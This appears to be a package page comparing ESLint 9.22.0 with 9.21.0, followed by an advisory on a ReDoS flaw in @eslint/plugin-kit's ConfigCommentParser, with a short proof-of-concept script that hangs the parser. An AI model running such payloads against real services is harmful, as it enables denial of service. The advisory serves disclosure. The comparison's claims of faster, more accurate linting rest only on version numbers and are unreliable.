ESLint version 9.22.0 introduces subtle refinements over its predecessor, 9.21.0, solidifying its position as a leading JavaScript linting tool. While the description and core functionality remain consistent – an AST-based pattern checker ensuring code quality – nuanced changes in dependencies and internal structure aim for optimized performance and stability.
A key difference lies within dependency updates. While many dependencies remain at similar versions, subtle shifts occur particularly in the @eslint/js dependency, moving from 9.21.0 to 9.22.0 reflecting refinements in the core JavaScript ruleset, meaning that the new version has been modified to improve the javascript validations. Furthermore, the eslint-scope dependency has been updated from version 8.2.0 to 8.3.0. This can bring improvements in how ESLint understands variable scope and resolves references, vital for accurate analysis of complex JavaScript code. Also, you must consider that the fileCount and unpackedSize present slight variations, suggesting alterations to included files and optimized packaging structure respectively.
Developers upgrading to version 9.22.0 can anticipate a smoother, more reliable linting process. The updated eslint-scope translates to increased accuracy in code analysis, reducing false positives and negatives. The optimizations reflected in file size and count demonstrate a commitment to efficiency, leading to faster startup times and reduced resource consumption. These incremental improvements, though seemingly minor, contribute to an enhanced developer experience, ensuring that ESLint remains a valuable asset in maintaining code quality and consistency across projects.
All the vulnerabilities related to the version 9.22.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.